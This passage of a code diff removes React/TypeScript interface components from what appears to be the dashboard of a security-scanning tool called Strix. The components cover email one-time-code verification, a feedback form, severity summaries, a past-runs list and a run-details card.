||||
{busy && <Loader2 className="h-4 w-4 animate-spin" aria-hidden="true" />}
|
||||
{verifyOnly ? "Verify" : "Verify and send"}
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => {
|
||||
setStep("email");
|
||||
setError(null);
|
||||
setNotice(null);
|
||||
}}
|
||||
className="w-full cursor-pointer text-center text-xs text-[#666] transition-colors hover:text-[#aaa]"
|
||||
>
|
||||
Use a different email
|
||||
</button>
|
||||
</form>
|
||||
)}
|
||||
|
||||
{step === "sending" && (
|
||||
<div className="flex flex-col items-center gap-3 py-8">
|
||||
<Loader2 className="h-6 w-6 animate-spin text-white" aria-hidden="true" />
|
||||
<p className="text-sm text-[#aaa]">Generating and encrypting locally...</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{step === "password" && (
|
||||
<div className="space-y-4">
|
||||
<div className="flex items-start gap-2.5 rounded-lg border border-emerald-500/30 bg-emerald-500/5 px-3 py-2.5">
|
||||
<Check className="mt-0.5 h-4 w-4 flex-shrink-0 text-emerald-400" aria-hidden="true" />
|
||||
<p className="text-xs text-emerald-200">
|
||||
Sent to {confirmationEmail}. Open the attached PDF with this password.
|
||||
</p>
|
||||
</div>
|
||||
<div>
|
||||
<span className="mb-1.5 block text-xs text-[#888]">Your one-time password</span>
|
||||
<div
|
||||
className="flex items-center gap-2 rounded-lg bg-black p-3"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
>
|
||||
<code className="flex-1 break-all font-mono text-base text-white">{password}</code>
|
||||
<button
|
||||
onClick={copyPassword}
|
||||
className="flex cursor-pointer items-center gap-1 rounded-md px-2 py-1 text-xs text-[#aaa] transition-colors hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
>
|
||||
{copied ? <Check className="h-3.5 w-3.5" /> : <Copy className="h-3.5 w-3.5" />}
|
||||
{copied ? "Copied" : "Copy"}
|
||||
</button>
|
||||
</div>
|
||||
<p className="mt-2 text-xs text-[#666]">
|
||||
Save this now. Strix never stores it, so we cannot show it again. File:{" "}
|
||||
<span className="font-mono text-[#888]">{filename}</span>
|
||||
</p>
|
||||
</div>
|
||||
<button
|
||||
onClick={() => onExit("overview")}
|
||||
className="w-full cursor-pointer rounded-lg px-4 py-2.5 text-sm font-semibold text-white transition-colors hover:bg-[rgba(255,255,255,0.06)]"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
>
|
||||
Done
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,163 +0,0 @@
|
||||
import { useState } from "react";
|
||||
import { Loader2, AlertCircle } from "lucide-react";
|
||||
import { otpStart, otpVerify } from "@/data/serverSource";
|
||||
import { track } from "@/lib/cta";
|
||||
|
||||
/**
|
||||
* Compact inline email -> 6-digit-code verify flow. Unlike EmailReportView this
|
||||
* has no page chrome, no report send, and no password panel: it just confirms
|
||||
* the email so the past-runs list can unlock in place. On success it calls
|
||||
* `onVerified` (the parent refreshes auth + runs).
|
||||
*/
|
||||
|
||||
const OTP_START_ERRORS: Record<string, string> = {
|
||||
work_email_required: "Please use your work email, not a personal one.",
|
||||
rate_limited: "Too many requests. Wait a minute and try again.",
|
||||
invalid_email: "That email does not look right. Check it and try again.",
|
||||
unavailable: "The email service is unavailable right now. Try again shortly.",
|
||||
};
|
||||
|
||||
// A small set of common personal providers for instant client-side feedback.
|
||||
// The relay is authoritative (it checks the full free-email-domains list).
|
||||
const COMMON_FREE_DOMAINS = new Set([
|
||||
"gmail.com", "googlemail.com", "yahoo.com", "ymail.com", "outlook.com",
|
||||
"hotmail.com", "live.com", "icloud.com", "me.com", "aol.com", "proton.me",
|
||||
"protonmail.com", "gmx.com", "mail.com",
|
||||
]);
|
||||
|
||||
export default function EmailVerifyInline({ onVerified }: { onVerified: () => void }) {
|
||||
const [step, setStep] = useState<"email" | "code">("email");
|
||||
const [email, setEmail] = useState("");
|
||||
const [code, setCode] = useState("");
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [notice, setNotice] = useState<string | null>(null);
|
||||
|
||||
const submitEmail = async () => {
|
||||
const value = email.trim();
|
||||
if (!value) {
|
||||
setError("Enter your email to continue.");
|
||||
return;
|
||||
}
|
||||
const domain = value.slice(value.lastIndexOf("@") + 1).toLowerCase();
|
||||
if (COMMON_FREE_DOMAINS.has(domain)) {
|
||||
track("work_email_required");
|
||||
setError(OTP_START_ERRORS.work_email_required);
|
||||
return;
|
||||
}
|
||||
setBusy(true);
|
||||
setError(null);
|
||||
const result = await otpStart(value);
|
||||
setBusy(false);
|
||||
if (result.ok) {
|
||||
track("email_submitted", { purpose: "verify" });
|
||||
setNotice(`We sent a 6-digit code to ${value}.`);
|
||||
setStep("code");
|
||||
} else {
|
||||
if (result.error === "work_email_required") track("work_email_required");
|
||||
setError(OTP_START_ERRORS[result.error] ?? "Could not send a code. Try again.");
|
||||
}
|
||||
};
|
||||
|
||||
const submitCode = async () => {
|
||||
const value = code.trim();
|
||||
if (value.length < 4) {
|
||||
setError("Enter the 6-digit code from your email.");
|
||||
return;
|
||||
}
|
||||
setBusy(true);
|
||||
setError(null);
|
||||
const result = await otpVerify(email.trim(), value);
|
||||
setBusy(false);
|
||||
if (!result.verified) {
|
||||
setError("That code did not match. Check it and try again.");
|
||||
return;
|
||||
}
|
||||
track("email_verified", { purpose: "verify" });
|
||||
onVerified();
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="mx-auto mt-5 max-w-sm text-left">
|
||||
{error && (
|
||||
<div className="mb-3 flex items-start gap-2 rounded-lg border border-red-500/30 bg-red-500/5 px-3 py-2">
|
||||
<AlertCircle className="mt-0.5 h-4 w-4 flex-shrink-0 text-red-400" aria-hidden="true" />
|
||||
<p className="text-xs text-red-300">{error}</p>
|
||||
</div>
|
||||
)}
|
||||
{notice && !error && <p className="mb-3 text-xs text-[#888]">{notice}</p>}
|
||||
|
||||
{step === "email" ? (
|
||||
<form
|
||||
className="space-y-3"
|
||||
onSubmit={(e) => {
|
||||
e.preventDefault();
|
||||
void submitEmail();
|
||||
}}
|
||||
>
|
||||
<label className="block">
|
||||
<span className="mb-1.5 block text-xs text-[#888]">Your work email</span>
|
||||
<input
|
||||
type="email"
|
||||
autoFocus
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
placeholder="you@company.com"
|
||||
className="w-full rounded-lg bg-black px-3 py-2.5 text-sm text-white outline-none transition-colors focus:border-[#444]"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
/>
|
||||
<span className="mt-1.5 block text-[11px] text-[#666]">Use your work email.</span>
|
||||
</label>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={busy}
|
||||
className="flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
|
||||
>
|
||||
{busy && <Loader2 className="h-4 w-4 animate-spin" aria-hidden="true" />}
|
||||
Send me a code
|
||||
</button>
|
||||
</form>
|
||||
) : (
|
||||
<form
|
||||
className="space-y-3"
|
||||
onSubmit={(e) => {
|
||||
e.preventDefault();
|
||||
void submitCode();
|
||||
}}
|
||||
>
|
||||
<label className="block">
|
||||
<span className="mb-1.5 block text-xs text-[#888]">6-digit code</span>
|
||||
<input
|
||||
inputMode="numeric"
|
||||
autoFocus
|
||||
value={code}
|
||||
onChange={(e) => setCode(e.target.value.replace(/\D/g, "").slice(0, 6))}
|
||||
placeholder="123456"
|
||||
className="w-full rounded-lg bg-black px-3 py-2.5 text-center text-lg font-mono tracking-[0.4em] text-white outline-none transition-colors focus:border-[#444]"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
/>
|
||||
</label>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={busy}
|
||||
className="flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
|
||||
>
|
||||
{busy && <Loader2 className="h-4 w-4 animate-spin" aria-hidden="true" />}
|
||||
Verify
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => {
|
||||
setStep("email");
|
||||
setError(null);
|
||||
setNotice(null);
|
||||
}}
|
||||
className="w-full cursor-pointer text-center text-xs text-[#666] transition-colors hover:text-[#aaa]"
|
||||
>
|
||||
Use a different email
|
||||
</button>
|
||||
</form>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,134 +0,0 @@
|
||||
import { useState } from "react";
|
||||
import { ArrowLeft, AlertCircle, CheckCircle2 } from "lucide-react";
|
||||
import { IoChatbubblesOutline } from "react-icons/io5";
|
||||
import { submitFeedback } from "@/data/serverSource";
|
||||
import type { View } from "@/App";
|
||||
|
||||
const MAX_MESSAGE = 5000;
|
||||
|
||||
const ERROR_COPY: Record<string, string> = {
|
||||
invalid_email: "That email doesn't look right.",
|
||||
invalid_message: "Please write a little more.",
|
||||
unavailable: "Couldn't send that just now. Try again.",
|
||||
};
|
||||
|
||||
/**
|
||||
* Feedback & support form. Collects a message plus a work email (no
|
||||
* verification — the email is taken as-is) and relays it to Strix via the local
|
||||
* server. Mirrors EmailReportView's centered-card styling and palette.
|
||||
*/
|
||||
export default function FeedbackView({
|
||||
defaultEmail,
|
||||
onExit,
|
||||
}: {
|
||||
defaultEmail: string | null;
|
||||
onExit: (dest: View) => void;
|
||||
}) {
|
||||
const [message, setMessage] = useState("");
|
||||
const [email, setEmail] = useState(defaultEmail ?? "");
|
||||
const [step, setStep] = useState<"form" | "sending" | "sent">("form");
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
|
||||
const canSend = message.trim().length > 0 && email.trim().length > 0 && step !== "sending";
|
||||
|
||||
const send = async () => {
|
||||
if (!canSend) return;
|
||||
setStep("sending");
|
||||
setError(null);
|
||||
const result = await submitFeedback(message.trim(), email.trim());
|
||||
if (result.ok) {
|
||||
setStep("sent");
|
||||
return;
|
||||
}
|
||||
setStep("form");
|
||||
setError(ERROR_COPY[result.error] ?? ERROR_COPY.unavailable);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="mx-auto max-w-xl space-y-4">
|
||||
<button
|
||||
onClick={() => onExit("overview")}
|
||||
className="cursor-pointer inline-flex items-center gap-1.5 text-sm text-[#888] transition-colors hover:text-white"
|
||||
>
|
||||
<ArrowLeft className="h-4 w-4" />
|
||||
Back to results
|
||||
</button>
|
||||
|
||||
<div className="flex items-center gap-2">
|
||||
<IoChatbubblesOutline className="h-5 w-5 text-[#888]" aria-hidden="true" />
|
||||
<h1 className="text-2xl font-semibold text-white">Feedback & support</h1>
|
||||
</div>
|
||||
|
||||
<div
|
||||
className="w-full rounded-2xl bg-[rgba(255,255,255,0.02)] p-6"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
>
|
||||
{step === "sent" ? (
|
||||
<div className="flex items-start gap-3">
|
||||
<CheckCircle2 className="mt-0.5 h-5 w-5 flex-shrink-0 text-emerald-400" aria-hidden="true" />
|
||||
<div className="min-w-0">
|
||||
<p className="text-sm font-semibold text-white">Thanks, we got it.</p>
|
||||
<p className="mt-1 text-xs text-[#888]">
|
||||
We read every message. If it needs a reply, we'll reach out to the email you gave.
|
||||
</p>
|
||||
<button
|
||||
onClick={() => {
|
||||
setMessage("");
|
||||
setStep("form");
|
||||
}}
|
||||
className="mt-4 cursor-pointer text-xs text-[#888] transition-colors hover:text-white"
|
||||
>
|
||||
Send more feedback
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<p className="mb-4 text-xs text-[#666]">
|
||||
Bugs, feature requests, or anything else. Tell us what's on your mind.
|
||||
</p>
|
||||
|
||||
{error && (
|
||||
<div className="mb-4 flex items-start gap-2 rounded-lg border border-red-500/30 bg-red-500/5 px-3 py-2">
|
||||
<AlertCircle className="mt-0.5 h-4 w-4 flex-shrink-0 text-red-400" aria-hidden="true" />
|
||||
<p className="text-xs text-red-300">{error}</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<label className="block">
|
||||
<span className="mb-1.5 block text-xs text-[#888]">Your feedback</span>
|
||||
<textarea
|
||||
autoFocus
|
||||
value={message}
|
||||
maxLength={MAX_MESSAGE}
|
||||
onChange={(e) => setMessage(e.target.value)}
|
||||
rows={5}
|
||||
placeholder="What's working, what's not, what you'd love to see…"
|
||||
className="w-full resize-y rounded-lg border border-[#2a2a2a] bg-black px-3 py-2.5 text-sm text-white outline-none transition-colors focus:border-white/50 focus:ring-2 focus:ring-white/10"
|
||||
/>
|
||||
</label>
|
||||
|
||||
<label className="mt-4 block">
|
||||
<span className="mb-1.5 block text-xs text-[#888]">Your work email</span>
|
||||
<input
|
||||
type="email"
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
placeholder="you@company.com"
|
||||
className="w-full rounded-lg border border-[#2a2a2a] bg-black px-3 py-2.5 text-sm text-white outline-none transition-colors focus:border-white/50 focus:ring-2 focus:ring-white/10"
|
||||
/>
|
||||
</label>
|
||||
|
||||
<button
|
||||
onClick={() => void send()}
|
||||
disabled={!canSend}
|
||||
className="mt-4 flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
|
||||
>
|
||||
{step === "sending" ? "Sending…" : "Send feedback"}
|
||||
</button>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,77 +0,0 @@
|
||||
import React from "react";
|
||||
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
export interface IssueSeveritySummaryFindings {
|
||||
total: number;
|
||||
critical: number;
|
||||
high: number;
|
||||
medium: number;
|
||||
low: number;
|
||||
}
|
||||
|
||||
interface IssueSeveritySummaryProps {
|
||||
findings: IssueSeveritySummaryFindings;
|
||||
className?: string;
|
||||
/** Noun for the total count (e.g. "issues", "CVEs"). Defaults to "issues". */
|
||||
unit?: string;
|
||||
/** Optional content rendered at the end of the count row (e.g. a KEV badge). */
|
||||
trailing?: React.ReactNode;
|
||||
}
|
||||
|
||||
const SEVERITIES = [
|
||||
{ key: "critical", label: "critical", dotClass: "bg-red-500", textClass: "text-red-500" },
|
||||
{ key: "high", label: "high", dotClass: "bg-orange-500", textClass: "text-orange-500" },
|
||||
{ key: "medium", label: "medium", dotClass: "bg-yellow-500", textClass: "text-yellow-500" },
|
||||
{ key: "low", label: "low", dotClass: "bg-blue-500", textClass: "text-blue-500" },
|
||||
] as const;
|
||||
|
||||
export function IssueSeveritySummary({
|
||||
findings,
|
||||
className,
|
||||
unit = "issues",
|
||||
trailing,
|
||||
}: IssueSeveritySummaryProps) {
|
||||
if (findings.total <= 0) return null;
|
||||
|
||||
return (
|
||||
<div className={cn("space-y-3", className)}>
|
||||
<div className="flex flex-wrap items-center gap-x-8 gap-y-3">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-2xl font-semibold text-white tabular-nums">{findings.total}</span>
|
||||
<span className="text-sm text-[#666]">{unit}</span>
|
||||
</div>
|
||||
<div className="flex flex-wrap items-center gap-x-6 gap-y-2">
|
||||
{SEVERITIES.map(({ key, label, dotClass, textClass }) => {
|
||||
const count = findings[key];
|
||||
if (count <= 0) return null;
|
||||
|
||||
return (
|
||||
<div key={key} className="flex items-center gap-1.5">
|
||||
<div className={cn("w-2 h-2 rounded-full", dotClass)} aria-hidden="true" />
|
||||
<span className={cn("text-sm tabular-nums", textClass)}>{count}</span>
|
||||
<span className="text-xs text-[#555]">{label}</span>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
{trailing ? <div className="flex items-center gap-2">{trailing}</div> : null}
|
||||
</div>
|
||||
|
||||
<div className="h-1.5 rounded-full bg-[#222] overflow-hidden flex">
|
||||
{SEVERITIES.map(({ key, dotClass }) => {
|
||||
const count = findings[key];
|
||||
if (count <= 0) return null;
|
||||
|
||||
return (
|
||||
<div
|
||||
key={key}
|
||||
className={cn("h-full", dotClass)}
|
||||
style={{ width: `${(count / findings.total) * 100}%` }}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,176 +0,0 @@
|
||||
import { useState } from "react";
|
||||
import { History, ChevronRight, Terminal } from "lucide-react";
|
||||
import type { RunListEntry, RunsPayload, RunSeverityCounts } from "@/data/serverSource";
|
||||
import { runTitle } from "@/lib/target-utils";
|
||||
import { trackCta } from "@/lib/cta";
|
||||
import EmailVerifyInline from "@/components/EmailVerifyInline";
|
||||
|
||||
/**
|
||||
* "Past runs" panel. Unverified users see a tease with the run count and a
|
||||
* verify affordance (the launched run stays fully visible; the CLI
|
||||
* `strix view <name>` still works). Verified users get the full history and can
|
||||
* switch the active run, which threads ?run=<name> through the data fetches.
|
||||
*/
|
||||
|
||||
const SEV = [
|
||||
{ key: "critical", dot: "bg-red-500", text: "text-red-500" },
|
||||
{ key: "high", dot: "bg-orange-500", text: "text-orange-500" },
|
||||
{ key: "medium", dot: "bg-yellow-500", text: "text-yellow-500" },
|
||||
{ key: "low", dot: "bg-blue-500", text: "text-blue-500" },
|
||||
] as const;
|
||||
|
||||
function SeverityChips({ counts }: { counts: RunSeverityCounts }) {
|
||||
const shown = SEV.filter((s) => counts[s.key] > 0);
|
||||
if (shown.length === 0) {
|
||||
return <span className="text-xs text-[#555]">No findings</span>;
|
||||
}
|
||||
return (
|
||||
<div className="flex items-center gap-3">
|
||||
{shown.map((s) => (
|
||||
<div key={s.key} className="flex items-center gap-1.5">
|
||||
<span className={`h-2 w-2 rounded-full ${s.dot}`} aria-hidden="true" />
|
||||
<span className={`text-xs tabular-nums ${s.text}`}>{counts[s.key]}</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function formatDate(iso: string | null): string | null {
|
||||
if (!iso) return null;
|
||||
const normalized = iso.trim().replace(" UTC", "Z").replace(" ", "T");
|
||||
const d = new Date(normalized);
|
||||
if (Number.isNaN(d.getTime())) return null;
|
||||
return d.toLocaleString(undefined, {
|
||||
month: "short",
|
||||
day: "numeric",
|
||||
hour: "numeric",
|
||||
minute: "2-digit",
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Relative time ("just now" / "5m ago" / "3h ago" / "2d ago"), falling back to
|
||||
* the absolute date for anything older than a week (mirrors the pro app).
|
||||
*/
|
||||
function formatTimeAgo(iso: string | null): string | null {
|
||||
if (!iso) return null;
|
||||
const normalized = iso.trim().replace(" UTC", "Z").replace(" ", "T");
|
||||
const d = new Date(normalized);
|
||||
if (Number.isNaN(d.getTime())) return null;
|
||||
const diffMs = Date.now() - d.getTime();
|
||||
const mins = Math.floor(diffMs / 60000);
|
||||
if (mins < 1) return "just now";
|
||||
if (mins < 60) return `${mins}m ago`;
|
||||
const hours = Math.floor(mins / 60);
|
||||
if (hours < 24) return `${hours}h ago`;
|
||||
const days = Math.floor(hours / 24);
|
||||
if (days < 7) return `${days}d ago`;
|
||||
return formatDate(iso);
|
||||
}
|
||||
|
||||
interface PastRunsViewProps {
|
||||
runs: RunsPayload | null;
|
||||
activeRun: string | null;
|
||||
onSelectRun: (name: string) => void;
|
||||
onVerified: () => void;
|
||||
}
|
||||
|
||||
export default function PastRunsView({
|
||||
runs,
|
||||
activeRun,
|
||||
onSelectRun,
|
||||
onVerified,
|
||||
}: PastRunsViewProps) {
|
||||
const count = runs?.count ?? 0;
|
||||
const [showVerify, setShowVerify] = useState(false);
|
||||
|
||||
if (!runs || runs.locked) {
|
||||
return (
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center">
|
||||
<div
|
||||
className="mx-auto mb-4 flex h-11 w-11 items-center justify-center rounded-xl"
|
||||
style={{ border: "1px solid #2a2a2a", background: "rgba(255,255,255,0.04)" }}
|
||||
>
|
||||
<History className="h-5 w-5 text-[#888]" aria-hidden="true" />
|
||||
</div>
|
||||
<h2 className="text-base font-semibold text-white">Browse every run on this machine</h2>
|
||||
<p className="mx-auto mt-1.5 max-w-md text-sm text-[#888]">
|
||||
You have {count} past {count === 1 ? "run" : "runs"} on this machine.
|
||||
</p>
|
||||
{showVerify ? (
|
||||
<>
|
||||
<p className="mx-auto mt-3 max-w-sm text-xs text-[#666]">
|
||||
Verify your email with a one-time code to unlock the full history.
|
||||
</p>
|
||||
<EmailVerifyInline onVerified={onVerified} />
|
||||
</>
|
||||
) : (
|
||||
<button
|
||||
onClick={() => {
|
||||
trackCta("history_unlock", "past_runs");
|
||||
setShowVerify(true);
|
||||
}}
|
||||
className="mt-4 cursor-pointer rounded-lg bg-white px-4 py-2 text-sm font-semibold text-black transition-opacity hover:opacity-90"
|
||||
>
|
||||
View runs
|
||||
</button>
|
||||
)}
|
||||
<p className="mt-4 flex items-center justify-center gap-1.5 text-xs text-[#555]">
|
||||
<Terminal className="h-3.5 w-3.5" aria-hidden="true" />
|
||||
Or open one from the CLI with{" "}
|
||||
<code className="font-mono text-[#888]">strix view <name></code>
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (runs.runs.length === 0) {
|
||||
return (
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center text-sm text-[#888]">
|
||||
No past runs found on this machine yet.
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="space-y-2">
|
||||
{runs.runs.map((run: RunListEntry) => {
|
||||
const active = run.name === activeRun;
|
||||
const date = formatTimeAgo(run.start_time) ?? formatTimeAgo(run.end_time);
|
||||
const title = runTitle(run.target, run.name);
|
||||
return (
|
||||
<button
|
||||
key={run.name}
|
||||
onClick={() => onSelectRun(run.name)}
|
||||
className={`animate-card-in group flex w-full cursor-pointer items-center gap-4 rounded-lg border px-4 py-3 text-left transition-colors ${
|
||||
active
|
||||
? "border-[#444] bg-[rgba(255,255,255,0.04)]"
|
||||
: "border-[#222] bg-[rgba(255,255,255,0.02)] hover:border-[#444]"
|
||||
}`}
|
||||
>
|
||||
<div className="min-w-0 flex-1">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="truncate text-sm font-medium text-white">{title}</span>
|
||||
{active && (
|
||||
<span className="rounded-full px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wide text-emerald-400" style={{ border: "1px solid rgba(16,185,129,0.3)" }}>
|
||||
Active
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<div className="mt-0.5 flex flex-wrap items-center gap-x-2 gap-y-0.5 text-xs text-[#666]">
|
||||
{run.scan_mode && <span className="capitalize">{run.scan_mode}</span>}
|
||||
{run.scan_mode && (date || run.status) && <span className="text-[#333]">·</span>}
|
||||
{date && <span>{date}</span>}
|
||||
{date && run.status && <span className="text-[#333]">·</span>}
|
||||
{run.status && <span className="capitalize">{run.status}</span>}
|
||||
</div>
|
||||
</div>
|
||||
<SeverityChips counts={run.severity_counts} />
|
||||
<ChevronRight className="h-4 w-4 flex-shrink-0 text-[#555] transition-colors group-hover:text-[#aaa]" aria-hidden="true" />
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,72 +0,0 @@
|
||||
import React, { useState } from "react";
|
||||
import { SIGNUP_URL, ctaUrl, trackCta } from "@/lib/cta";
|
||||
|
||||
/**
|
||||
* Lightweight hover tooltip. Wraps a trigger and reveals `text` above it on
|
||||
* hover/focus. Plain Tailwind + local state (no radix vendored).
|
||||
*/
|
||||
export function Tooltip({
|
||||
text,
|
||||
children,
|
||||
className = "",
|
||||
}: {
|
||||
text: string;
|
||||
children: React.ReactNode;
|
||||
className?: string;
|
||||
}) {
|
||||
const [open, setOpen] = useState(false);
|
||||
return (
|
||||
<span
|
||||
className={`relative inline-flex ${className}`}
|
||||
onMouseEnter={() => setOpen(true)}
|
||||
onMouseLeave={() => setOpen(false)}
|
||||
onFocus={() => setOpen(true)}
|
||||
onBlur={() => setOpen(false)}
|
||||
>
|
||||
{children}
|
||||
{open && (
|
||||
<span
|
||||
role="tooltip"
|
||||
className="pointer-events-none absolute bottom-full left-1/2 z-50 mb-2 w-max max-w-[240px] -translate-x-1/2 rounded-md px-2.5 py-1.5 text-xs text-[#ddd] shadow-lg"
|
||||
style={{ border: "1px solid #2a2a2a", background: "#0a0a0a" }}
|
||||
>
|
||||
{text}
|
||||
</span>
|
||||
)}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Compact inline CTA button that links out to sign-up in a new tab, with a
|
||||
* hover tooltip one-liner. Used in per-surface rows where a full card is too
|
||||
* heavy.
|
||||
*/
|
||||
export function ProInlineCta({
|
||||
label,
|
||||
desc,
|
||||
slug,
|
||||
icon: Icon,
|
||||
surface,
|
||||
}: {
|
||||
label: string;
|
||||
desc: string;
|
||||
slug: string;
|
||||
icon: React.ElementType;
|
||||
surface?: string;
|
||||
}) {
|
||||
return (
|
||||
<Tooltip text={desc}>
|
||||
<a
|
||||
href={ctaUrl(SIGNUP_URL, slug)}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta(slug, surface)}
|
||||
className="group inline-flex items-center gap-2 rounded-lg border border-[#222] bg-[rgba(255,255,255,0.02)] px-3 py-2 text-sm text-[#aaa] transition-colors hover:border-[#444] hover:text-white"
|
||||
>
|
||||
<Icon className="h-4 w-4 text-[#888] transition-colors group-hover:text-white" aria-hidden="true" />
|
||||
<span>{label}</span>
|
||||
</a>
|
||||
</Tooltip>
|
||||
);
|
||||
}
|
||||
@@ -1,206 +0,0 @@
|
||||
import { useState } from "react";
|
||||
import { ChevronDown, ChevronUp, Info } from "lucide-react";
|
||||
import { formatNumber } from "@/lib/display-number";
|
||||
|
||||
/**
|
||||
* "Run details" card for the Overview tab: the launch configuration the run was
|
||||
* started with (targets, instruction, scope, mode) and its LLM usage + cost.
|
||||
* Everything is read defensively from the raw run.json record, which may be
|
||||
* partial while a scan is still live.
|
||||
*/
|
||||
|
||||
type Rec = Record<string, unknown>;
|
||||
|
||||
function rec(v: unknown): Rec {
|
||||
return v && typeof v === "object" && !Array.isArray(v) ? (v as Rec) : {};
|
||||
}
|
||||
function arr(v: unknown): unknown[] {
|
||||
return Array.isArray(v) ? v : [];
|
||||
}
|
||||
function str(v: unknown): string | null {
|
||||
return typeof v === "string" && v.trim() ? v : null;
|
||||
}
|
||||
function num(v: unknown): number | null {
|
||||
return typeof v === "number" && Number.isFinite(v) ? v : null;
|
||||
}
|
||||
function humanize(s: string): string {
|
||||
return s.replace(/_/g, " ");
|
||||
}
|
||||
function cap(s: string | null): string | null {
|
||||
return s ? s.charAt(0).toUpperCase() + s.slice(1) : s;
|
||||
}
|
||||
function fmtDuration(seconds: number | null): string {
|
||||
if (seconds == null || seconds < 0) return "n/a";
|
||||
const h = Math.floor(seconds / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
const s = seconds % 60;
|
||||
if (h) return `${h}h ${m}m ${s}s`;
|
||||
if (m) return `${m}m ${s}s`;
|
||||
return `${s}s`;
|
||||
}
|
||||
|
||||
function Field({ label, children }: { label: string; children: React.ReactNode }) {
|
||||
return (
|
||||
<div className="grid grid-cols-[7rem_1fr] gap-3 items-baseline">
|
||||
<dt className="text-[11px] uppercase tracking-wide text-[#666]">{label}</dt>
|
||||
<dd className="min-w-0 break-words text-sm text-[#ddd]">{children}</dd>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function RunDetails({
|
||||
raw,
|
||||
durationSeconds,
|
||||
}: {
|
||||
raw: Rec;
|
||||
durationSeconds: number | null;
|
||||
}) {
|
||||
const [open, setOpen] = useState(true);
|
||||
|
||||
// Configuration (launch inputs)
|
||||
const targets = arr(raw.targets_info).map((t) => {
|
||||
const o = rec(t);
|
||||
const display = str(o.original) ?? str(rec(o.details).target_url) ?? "unknown target";
|
||||
const type = str(o.type);
|
||||
return { display, type: type ? humanize(type) : null };
|
||||
});
|
||||
const instruction = str(raw.instruction);
|
||||
const scanMode = cap(str(raw.scan_mode));
|
||||
const scopeMode = str(raw.scope_mode);
|
||||
const diff = rec(raw.diff_scope);
|
||||
const diffActive = diff.active === true;
|
||||
const diffMode = str(diff.mode);
|
||||
const diffBase = str(raw.diff_base);
|
||||
const nonInteractive = raw.non_interactive === true;
|
||||
const localSources = arr(raw.local_sources)
|
||||
.map((x) => {
|
||||
if (typeof x === "string") return x;
|
||||
const o = rec(x);
|
||||
return str(o.source_path) ?? str(o.target_path) ?? "";
|
||||
})
|
||||
.filter(Boolean);
|
||||
const status = cap(str(raw.status));
|
||||
|
||||
let scope = scopeMode ?? "auto";
|
||||
if (diffActive) {
|
||||
scope += ` (diff${diffMode ? `: ${diffMode}` : ""}${diffBase ? ` vs ${diffBase}` : ""})`;
|
||||
}
|
||||
|
||||
// Usage & cost
|
||||
const usage = rec(raw.llm_usage);
|
||||
const hasUsage = Object.keys(usage).length > 0;
|
||||
const agents = arr(usage.agents).map(rec);
|
||||
const models = Array.from(
|
||||
new Set(agents.map((a) => str(a.model)).filter((m): m is string => !!m))
|
||||
);
|
||||
const requests = num(usage.requests);
|
||||
const inputTokens = num(usage.input_tokens);
|
||||
const cached = num(rec(arr(usage.input_tokens_details)[0]).cached_tokens);
|
||||
const outputTokens = num(usage.output_tokens);
|
||||
const reasoning = num(rec(arr(usage.output_tokens_details)[0]).reasoning_tokens);
|
||||
const totalTokens = num(usage.total_tokens);
|
